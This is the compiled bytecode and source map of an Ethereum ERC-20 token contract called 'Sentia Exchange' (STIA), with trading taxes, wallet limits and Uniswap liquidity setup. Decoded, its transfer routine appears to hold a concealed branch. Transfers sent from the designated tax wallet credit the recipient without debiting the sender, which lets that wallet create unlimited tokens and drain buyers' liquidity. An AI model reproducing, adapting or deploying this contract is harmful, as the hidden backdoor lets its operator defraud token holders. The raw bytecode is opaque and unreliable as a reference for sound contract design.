0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb1461029d578063b70143c9146102bd578063c9567bf9146102dd578063dd62ed3e146102f257600080fd5b8063715018a61461021c5780638da5cb5b1461023357806395d89b411461025b5780639e78fb4f1461028857600080fd5b806323b872dd116100c657806323b872dd14610195578063313ce567146101b557806353868490146101d157806370a08231146101e657600080fd5b806306fdde03146100f8578063095ea7b31461014257806318160ddd1461017257600080fd5b366100f357005b600080fd5b34801561010457600080fd5b5060408051808201909152600f81526e53656e7469612045786368616e676560881b60208201525b6040516101399190611420565b60405180910390f35b34801561014e57600080fd5b5061016261015d366004611483565b610338565b6040519015158152602001610139565b34801561017e57600080fd5b5061018761034f565b604051908152602001610139565b3480156101a157600080fd5b506101626101b03660046114af565b610370565b3480156101c157600080fd5b5060405160128152602001610139565b3480156101dd57600080fd5b506101876103d9565b3480156101f257600080fd5b506101876102013660046114f0565b6001600160a01b031660009081526001602052604090205490565b34801561022857600080fd5b506102316103e1565b005b34801561023f57600080fd5b506000546040516001600160a01b039091168152602001610139565b34801561026757600080fd5b506040805180820190915260048152635354494160e01b602082015261012c565b34801561029457600080fd5b5061023161045e565b3480156102a957600080fd5b506101626102b8366004611483565b610803565b3480156102c957600080fd5b506102316102d836600461150d565b610810565b3480156102e957600080fd5b50610231610893565b3480156102fe57600080fd5b5061018761030d366004611526565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103453384846108da565b5060015b92915050565b600061035d6012600a611659565b61036b90633b9aca00611668565b905090565b600061037d8484846109fe565b6103cf84336103ca8560405180606001604052806028815260200161180a602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ff2565b6108da565b5060019392505050565b60005a905090565b6000546001600160a01b031633146104145760405162461bcd60e51b815260040161040b9061167f565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104885760405162461bcd60e51b815260040161040b9061167f565b601454600160a01b900460ff16156104e25760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561052b90309061051d6012600a611659565b6103ca90633b9aca00611668565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a291906116b4565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610604573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062891906116b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610675573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069991906116b4565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106e1816001600160a01b031660009081526001602052604090205490565b6000806106f66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561075e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061078391906116d1565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080091906116ff565b50565b60006103453384846109fe565b6005546001600160a01b0316336001600160a01b03161461083057600080fd5b30600090815260016020526040902054811115801561084f5750600081115b61088a5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b604482015260640161040b565b6108008161102c565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161040b9061167f565b6014805462ff00ff60a01b19166201000160a01b17905543600655565b6001600160a01b03831661093c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040b565b6001600160a01b03821661099d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040b565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040b565b60008111610b265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040b565b600080600654118015610b455750600654610b4290600a611721565b43115b15610b5257610b526111a6565b6001600160a01b03841660009081526003602052604090205460ff16158015610b9457506001600160a01b03831660009081526003602052604090205460ff16155b15610e5557601454600160a01b900460ff16610be55760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b604482015260640161040b565b610c116064610c0b600b54600e5411610c0057600754610c04565b6009545b8590611233565b906112bc565b6014549091506001600160a01b038581169116148015610c3f57506013546001600160a01b03848116911614155b15610cac57600f54821115610c965760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e0000000000000000604482015260640161040b565b600e8054906000610ca683611734565b91905055505b6014546001600160a01b03848116911614801590610ce357506001600160a01b03831660009081526003602052604090205460ff16155b15610d635760105482610d0b856001600160a01b031660009081526001602052604090205490565b610d159190611721565b1115610d635760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161040b565b6014546001600160a01b038481169116148015610d8957506001600160a01b0384163014155b15610db657610db36064610c0b600c54600e5411610da957600854610c04565b600a548590611233565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610ded57506014546001600160a01b038581169116145b8015610e025750601454600160b01b900460ff165b8015610e0f575060115483115b8015610e1e5750600d54600e54115b15610e5357601154811115610e4a57610e4a610e4584610e40846012546112fe565b6112fe565b61102c565b610e5347611313565b505b6005546001600160a01b03808616911603610eaf576001600160a01b038316600090815260016020526040902054610e8d9083611351565b6001600160a01b03909316600090815260016020526040902092909255505050565b8015610f295730600090815260016020526040902054610ecf9082611351565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f209085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610f4c90836113b0565b6001600160a01b038516600090815260016020526040902055610f91610f7283836113b0565b6001600160a01b03851660009081526001602052604090205490611351565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fdb85856113b0565b60405190815260200160405180910390a350505050565b600081848411156110165760405162461bcd60e51b815260040161040b9190611420565b506000611023848661174d565b95945050505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107457611074611760565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f191906116b4565b8160018151811061110457611104611760565b6001600160a01b03928316602091820292909201015260135461112a91309116846108da565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611163908590600090869030904290600401611776565b600060405180830381600087803b15801561117d57600080fd5b505af1158015611191573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b60006006556111b76012600a611659565b6111c590633b9aca00611668565b600f556111d46012600a611659565b6111e290633b9aca00611668565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6112126012600a611659565b61122090633b9aca00611668565b60405190815260200160405180910390a1565b60008260000361124557506000610349565b60006112518385611668565b90508261125e85836117e7565b146112b55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040b565b9392505050565b60006112b583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f2565b600081831161130d57826112b5565b50919050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561134d573d6000803e3d6000fd5b5050565b60008061135e8385611721565b9050838110156112b55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040b565b60006112b583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b600081836114135760405162461bcd60e51b815260040161040b9190611420565b50600061102384866117e7565b600060208083528351808285015260005b8181101561144d57858101830151858201604001528201611431565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461080057600080fd5b6000806040838503121561149657600080fd5b82356114a18161146e565b946020939093013593505050565b6000806000606084860312156114c457600080fd5b83356114cf8161146e565b925060208401356114df8161146e565b929592945050506040919091013590565b60006020828403121561150257600080fd5b81356112b58161146e565b60006020828403121561151f57600080fd5b5035919050565b6000806040838503121561153957600080fd5b82356115448161146e565b915060208301356115548161146e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115b05781600019048211156115965761159661155f565b808516156115a357918102915b93841c939080029061157a565b509250929050565b6000826115c757506001610349565b816115d457506000610349565b81600181146115ea57600281146115f457611610565b6001915050610349565b60ff8411156116055761160561155f565b50506001821b610349565b5060208310610133831016604e8410600b8410161715611633575081810a610349565b61163d8383611575565b80600019048211156116515761165161155f565b029392505050565b60006112b560ff8416836115b8565b80820281158282048414176103495761034961155f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116c657600080fd5b81516112b58161146e565b6000806000606084860312156116e657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171157600080fd5b815180151581146112b557600080fd5b808201808211156103495761034961155f565b6000600182016117465761174661155f565b5060010190565b818103818111156103495761034961155f565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117c65784516001600160a01b0316835293830193918301916001016117a1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261180457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203ff9b0b0fd193e7357204f142a9ae515a8919a5db0a3eb7dfa5cdf68cbce983d64736f6c63430008130033

Deployed Bytecode Sourcemap

3662:7843:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5586:83;;;;;;;;;;-1:-1:-1;5656:5:0;;;;;;;;;;;;-1:-1:-1;;;5656:5:0;;;;5586:83;;;;;;;:::i;:::-;;;;;;;;6419:161;;;;;;;;;;-1:-1:-1;6419:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6419:161:0;1023:187:1;5863:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5863:95:0;1215:177:1;6588:313:0;;;;;;;;;;-1:-1:-1;6588:313:0;;;;;:::i;:::-;;:::i;5772:83::-;;;;;;;;;;-1:-1:-1;5772:83:0;;4428:2;2000:36:1;;1988:2;1973:18;5772:83:0;1858:184:1;10377:90:0;;;;;;;;;;;;;:::i;5966:119::-;;;;;;;;;;-1:-1:-1;5966:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6059:18:0;6032:7;6059:18;;;:9;:18;;;;;;;5966:119;2743:148;;;;;;;;;;;;;:::i;:::-;;2529:79;;;;;;;;;;-1:-1:-1;2567:7:0;2594:6;2529:79;;-1:-1:-1;;;;;2594:6:0;;;2445:51:1;;2433:2;2418:18;2529:79:0;2299:203:1;5677:87:0;;;;;;;;;;-1:-1:-1;5749:7:0;;;;;;;;;;;;-1:-1:-1;;;5749:7:0;;;;5677:87;;10701:612;;;;;;;;;;;;;:::i;6093:167::-;;;;;;;;;;-1:-1:-1;6093:167:0;;;;;:::i;:::-;;:::i;10475:218::-;;;;;;;;;;-1:-1:-1;10475:218:0;;;;;:::i;:::-;;:::i;11321:144::-;;;;;;;;;;;;;:::i;6268:143::-;;;;;;;;;;-1:-1:-1;6268:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6376:18:0;;;6349:7;6376:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6268:143;6419:161;6494:4;6511:39;364:10;6534:7;6543:6;6511:8;:39::i;:::-;-1:-1:-1;6568:4:0;6419:161;;;;;:::o;5863:95::-;5916:7;4605:13;4428:2;4605;:13;:::i;:::-;4589:29;;:13;:29;:::i;:::-;5936:14;;5863:95;:::o;6588:313::-;6686:4;6703:36;6713:6;6721:9;6732:6;6703:9;:36::i;:::-;6750:121;6759:6;364:10;6781:89;6819:6;6781:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6781:19:0;;;;;;:11;:19;;;;;;;;364:10;6781:33;;;;;;;;;;:37;:89::i;:::-;6750:8;:121::i;:::-;-1:-1:-1;6889:4:0;6588:313;;;;;:::o;10377:90::-;10426:4;10450:9;10443:16;;10377:90;:::o;2743:148::-;2656:6;;-1:-1:-1;;;;;2656:6:0;364:10;2656:22;2648:67;;;;-1:-1:-1;;;2648:67:0;;;;;;;:::i;:::-;;;;;;;;;2850:1:::1;2834:6:::0;;2813:40:::1;::::0;-1:-1:-1;;;;;2834:6:0;;::::1;::::0;2813:40:::1;::::0;2850:1;;2813:40:::1;2881:1;2864:19:::0;;-1:-1:-1;;;;;;2864:19:0::1;::::0;;2743:148::o;10701:612::-;2656:6;;-1:-1:-1;;;;;2656:6:0;364:10;2656:22;2648:67;;;;-1:-1:-1;;;2648:67:0;;;;;;;:::i;:::-;10764:11:::1;::::0;-1:-1:-1;;;10764:11:0;::::1;;;10763:12;10755:47;;;::::0;-1:-1:-1;;;10755:47:0;;5336:2:1;10755:47:0::1;::::0;::::1;5318:21:1::0;5375:2;5355:18;;;5348:30;5414:25;5394:18;;;5387:53;5457:18;;10755:47:0::1;5134:347:1::0;10755:47:0::1;10813:15;:80:::0;;-1:-1:-1;;;;;;10813:80:0::1;10850:42;10813:80:::0;;::::1;::::0;;;10904:58:::1;::::0;10921:4:::1;::::0;4605:13:::1;4428:2;4605;:13;:::i;:::-;4589:29;::::0;:13:::1;:29;:::i;10904:58::-;11007:15;;;;;;;;;-1:-1:-1::0;;;;;11007:15:0::1;-1:-1:-1::0;;;;;11007:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10989:55:0::1;;11053:4;11060:15;;;;;;;;;-1:-1:-1::0;;;;;11060:15:0::1;-1:-1:-1::0;;;;;11060:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10989:94;::::0;-1:-1:-1;;;;;;10989:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5972:15:1;;;10989:94:0::1;::::0;::::1;5954:34:1::0;6024:15;;6004:18;;;5997:43;5889:18;;10989:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10973:13;:110:::0;;-1:-1:-1;;;;;10973:110:0;;::::1;-1:-1:-1::0;;;;;;10973:110:0;;::::1;;::::0;;11094:15:::1;::::0;::::1;:31;11133:21;11164:4;11170:24;11164:4:::0;-1:-1:-1;;;;;6059:18:0;6032:7;6059:18;;;:9;:18;;;;;;;5966:119;11170:24:::1;11195:1;11197::::0;11199:7:::1;2567::::0;2594:6;-1:-1:-1;;;;;2594:6:0;;2529:79;11199:7:::1;11094:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11094:129:0;;;-1:-1:-1;;;;;6410:15:1;;;11094:129:0::1;::::0;::::1;6392:34:1::0;6442:18;;;6435:34;;;;6485:18;;;6478:34;;;;6528:18;;;6521:34;6592:15;;;6571:19;;;6564:44;11207:15:0::1;6624:19:1::0;;;6617:35;6326:19;;11094:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11241:13:0::1;::::0;11272:15:::1;::::0;11234:71:::1;::::0;-1:-1:-1;;;11234:71:0;;-1:-1:-1;;;;;11272:15:0;;::::1;11234:71;::::0;::::1;7148:51:1::0;-1:-1:-1;;7215:18:1;;;7208:34;11241:13:0;::::1;::::0;-1:-1:-1;11234:29:0::1;::::0;7121:18:1;;11234:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10701:612::o:0;6093:167::-;6171:4;6188:42;364:10;6212:9;6223:6;6188:9;:42::i;10475:218::-;10555:10;;-1:-1:-1;;;;;10555:10:0;364;-1:-1:-1;;;;;10539:26:0;;10531:35;;;;;;10613:4;6032:7;6059:18;;;:9;:18;;;;;;10585:6;:34;;:48;;;;;10632:1;10623:6;:10;10585:48;10577:73;;;;-1:-1:-1;;;10577:73:0;;7737:2:1;10577:73:0;;;7719:21:1;7776:2;7756:18;;;7749:30;-1:-1:-1;;;7795:18:1;;;7788:42;7847:18;;10577:73:0;7535:336:1;10577:73:0;10661:24;10678:6;10661:16;:24::i;11321:144::-;2656:6;;-1:-1:-1;;;;;2656:6:0;364:10;2656:22;2648:67;;;;-1:-1:-1;;;2648:67:0;;;;;;;:::i;:::-;11374:11:::1;:18:::0;;-1:-1:-1;;;;11403:18:0;-1:-1:-1;;;11403:18:0;;;11445:12:::1;11432:10;:25:::0;11321:144::o;6909:335::-;-1:-1:-1;;;;;7002:19:0;;6994:68;;;;-1:-1:-1;;;6994:68:0;;8078:2:1;6994:68:0;;;8060:21:1;8117:2;8097:18;;;8090:30;8156:34;8136:18;;;8129:62;-1:-1:-1;;;8207:18:1;;;8200:34;8251:19;;6994:68:0;7876:400:1;6994:68:0;-1:-1:-1;;;;;7081:21:0;;7073:68;;;;-1:-1:-1;;;7073:68:0;;8483:2:1;7073:68:0;;;8465:21:1;8522:2;8502:18;;;8495:30;8561:34;8541:18;;;8534:62;-1:-1:-1;;;8612:18:1;;;8605:32;8654:19;;7073:68:0;8281:398:1;7073:68:0;-1:-1:-1;;;;;7152:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7204:32;;1361:25:1;;;7204:32:0;;1334:18:1;7204:32:0;;;;;;;6909:335;;;:::o;7252:2077::-;-1:-1:-1;;;;;7340:18:0;;7332:68;;;;-1:-1:-1;;;7332:68:0;;8886:2:1;7332:68:0;;;8868:21:1;8925:2;8905:18;;;8898:30;8964:34;8944:18;;;8937:62;-1:-1:-1;;;9015:18:1;;;9008:35;9060:19;;7332:68:0;8684:401:1;7332:68:0;-1:-1:-1;;;;;7419:16:0;;7411:64;;;;-1:-1:-1;;;7411:64:0;;9292:2:1;7411:64:0;;;9274:21:1;9331:2;9311:18;;;9304:30;9370:34;9350:18;;;9343:62;-1:-1:-1;;;9421:18:1;;;9414:33;9464:19;;7411:64:0;9090:399:1;7411:64:0;7503:1;7494:6;:10;7486:64;;;;-1:-1:-1;;;7486:64:0;;9696:2:1;7486:64:0;;;9678:21:1;9735:2;9715:18;;;9708:30;9774:34;9754:18;;;9747:62;-1:-1:-1;;;9825:18:1;;;9818:39;9874:19;;7486:64:0;9494:405:1;7486:64:0;7561:17;7608:1;7595:10;;:14;:48;;;;-1:-1:-1;7628:10:0;;:15;;7641:2;7628:15;:::i;:::-;7613:12;:30;7595:48;7591:71;;;7646:14;:12;:14::i;:::-;-1:-1:-1;;;;;7677:24:0;;;;;;:18;:24;;;;;;;;7676:25;:52;;;;-1:-1:-1;;;;;;7706:22:0;;;;;;:18;:22;;;;;;;;7705:23;7676:52;7672:1207;;;7753:11;;-1:-1:-1;;;7753:11:0;;;;7745:40;;;;-1:-1:-1;;;7745:40:0;;10236:2:1;7745:40:0;;;10218:21:1;10275:2;10255:18;;;10248:30;-1:-1:-1;;;10294:18:1;;;10287:46;10350:18;;7745:40:0;10034:340:1;7745:40:0;7812:76;7884:3;7812:67;7834:15;;7824:9;;:25;7823:55;;7864:14;;7823:55;;;7851:12;;7823:55;7812:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7917:13;;7800:88;;-1:-1:-1;;;;;;7909:21:0;;;7917:13;;7909:21;:55;;;;-1:-1:-1;7948:15:0;;-1:-1:-1;;;;;7934:30:0;;;7948:15;;7934:30;;7909:55;7905:185;;;8003:12;;7993:6;:22;;7985:59;;;;-1:-1:-1;;;7985:59:0;;10581:2:1;7985:59:0;;;10563:21:1;10620:2;10600:18;;;10593:30;10659:26;10639:18;;;10632:54;10703:18;;7985:59:0;10379:348:1;7985:59:0;8063:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7905:185;8116:13;;-1:-1:-1;;;;;8110:19:0;;;8116:13;;8110:19;;;;:47;;-1:-1:-1;;;;;;8135:22:0;;;;;;:18;:22;;;;;;;;8133:24;8110:47;8106:167;;;8212:14;;8202:6;8186:13;8196:2;-1:-1:-1;;;;;6059:18:0;6032:7;6059:18;;;:9;:18;;;;;;;5966:119;8186:13;:22;;;;:::i;:::-;:40;;8178:79;;;;-1:-1:-1;;;8178:79:0;;11074:2:1;8178:79:0;;;11056:21:1;11113:2;11093:18;;;11086:30;11152:28;11132:18;;;11125:56;11198:18;;8178:79:0;10872:350:1;8178:79:0;8298:13;;-1:-1:-1;;;;;8292:19:0;;;8298:13;;8292:19;:43;;;;-1:-1:-1;;;;;;8315:20:0;;8330:4;8315:20;;8292:43;8289:174;;;8368:79;8443:3;8368:70;8390:16;;8380:9;;:26;8379:58;;8422:15;;8379:58;;;8408:13;;8368:6;;:10;:70::i;:79::-;8356:91;;8289:174;8528:4;8479:28;6059:18;;;:9;:18;;;;;;8554:6;;-1:-1:-1;;;8554:6:0;;;;8553:7;:32;;;;-1:-1:-1;8572:13:0;;-1:-1:-1;;;;;8564:21:0;;;8572:13;;8564:21;8553:32;:47;;;;-1:-1:-1;8589:11:0;;-1:-1:-1;;;8589:11:0;;;;8553:47;:75;;;;;8611:17;;8604:6;:24;8553:75;:107;;;;;8642:18;;8632:9;;:28;8553:107;8549:329;;;8705:17;;8684:20;:38;8681:127;;;8741:67;8758:49;8762:6;8769:37;8773:20;8794:11;;8769:3;:37::i;:::-;8758:3;:49::i;:::-;8741:16;:67::i;:::-;8827:35;8840:21;8827:12;:35::i;:::-;7730:1149;7672:1207;9470:10;;-1:-1:-1;;;;;9459:21:0;;;9470:10;;9459:21;8893:80;;-1:-1:-1;;;;;8929:13:0;;;;;;:9;:13;;;;;;:25;;8947:6;8929:17;:25::i;:::-;-1:-1:-1;;;;;8915:13:0;;;;;;;:9;:13;;;;;:39;;;;-1:-1:-1;;;7252:2077:0:o;8893:80::-;8988:11;;8985:161;;9056:4;9038:24;;;;:9;:24;;;;;;:39;;9067:9;9038:28;:39::i;:::-;9031:4;9013:24;;;;:9;:24;;;;;;;:64;;;;9095:39;;-1:-1:-1;;;;;9095:39:0;;;;;;;9124:9;1361:25:1;;1349:2;1334:18;;1215:177;9095:39:0;;;;;;;;8985:161;-1:-1:-1;;;;;9172:15:0;;;;;;:9;:15;;;;;;:27;;9192:6;9172:19;:27::i;:::-;-1:-1:-1;;;;;9156:15:0;;;;;;:9;:15;;;;;:43;9224:40;9242:21;:6;9253:9;9242:10;:21::i;:::-;-1:-1:-1;;;;;9224:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9210:13:0;;;;;;;:9;:13;;;;;:54;;;;9280:41;;;9299:21;:6;9310:9;9299:10;:21::i;:::-;9280:41;;1361:25:1;;;1349:2;1334:18;9280:41:0;;;;;;;7321:2008;7252:2077;;;:::o;1421:190::-;1507:7;1543:12;1535:6;;;;1527:29;;;;-1:-1:-1;;;1527:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1567:9:0;1579:5;1583:1;1579;:5;:::i;:::-;1567:17;1421:190;-1:-1:-1;;;;;1421:190:0:o;9680:483::-;5156:6;:13;;-1:-1:-1;;;;5156:13:0;-1:-1:-1;;;5156:13:0;;;9782:16:::1;::::0;;9796:1:::1;9782:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9782:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9782:16:0::1;9758:40;;9827:4;9809;9814:1;9809:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9809:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9853:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9853:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9809:7;;9853:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9843:4;9848:1;9843:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9843:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9918:15:::1;::::0;9886:62:::1;::::0;9903:4:::1;::::0;9918:15:::1;9936:11:::0;9886:8:::1;:62::i;:::-;9959:15;::::0;:196:::1;::::0;-1:-1:-1;;;9959:196:0;;-1:-1:-1;;;;;9959:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10040:11;;9959:15:::1;::::0;10082:4;;10109::::1;::::0;10129:15:::1;::::0;9959:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5192:6:0;:14;;-1:-1:-1;;;;5192:14:0;;;-1:-1:-1;;;;9680:483:0:o;9496:176::-;9552:1;9539:10;:14;4605:13;4428:2;4605;:13;:::i;:::-;4589:29;;:13;:29;:::i;:::-;9564:12;:22;4605:13;4428:2;4605;:13;:::i;:::-;4589:29;;:13;:29;:::i;:::-;9597:14;:24;9637:27;4605:13;4428:2;4605;:13;:::i;:::-;4589:29;;:13;:29;:::i;:::-;9637:27;;1361:25:1;;;1349:2;1334:18;9637:27:0;;;;;;;9496:176::o;1619:246::-;1677:7;1701:1;1706;1701:6;1697:47;;-1:-1:-1;1731:1:0;1724:8;;1697:47;1754:9;1766:5;1770:1;1766;:5;:::i;:::-;1754:17;-1:-1:-1;1799:1:0;1790:5;1794:1;1754:17;1790:5;:::i;:::-;:10;1782:56;;;;-1:-1:-1;;;1782:56:0;;13033:2:1;1782:56:0;;;13015:21:1;13072:2;13052:18;;;13045:30;13111:34;13091:18;;;13084:62;-1:-1:-1;;;13162:18:1;;;13155:31;13203:19;;1782:56:0;12831:397:1;1782:56:0;1856:1;1619:246;-1:-1:-1;;;1619:246:0:o;1873:132::-;1931:7;1958:39;1962:1;1965;1958:39;;;;;;;;;;;;;;;;;:3;:39::i;10171:98::-;10228:7;10255:1;10253;:3;10252:9;;10260:1;10252:9;;;-1:-1:-1;10258:1:0;10171:98;-1:-1:-1;10171:98:0:o;10277:92::-;10334:10;;:27;;-1:-1:-1;;;;;10334:10:0;;;;:27;;;;;10354:6;;10334:10;:27;:10;:27;10354:6;10334:10;:27;;;;;;;;;;;;;;;;;;;;;10277:92;:::o;1090:179::-;1148:7;;1180:5;1184:1;1180;:5;:::i;:::-;1168:17;;1209:1;1204;:6;;1196:46;;;;-1:-1:-1;;;1196:46:0;;13435:2:1;1196:46:0;;;13417:21:1;13474:2;13454:18;;;13447:30;13513:29;13493:18;;;13486:57;13560:18;;1196:46:0;13233:351:1;1277:136:0;1335:7;1362:43;1366:1;1369;1362:43;;;;;;;;;;;;;;;;;:3;:43::i;2013:189::-;2099:7;2134:12;2127:5;2119:28;;;;-1:-1:-1;;;2119:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2158:9:0;2170:5;2174:1;2170;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134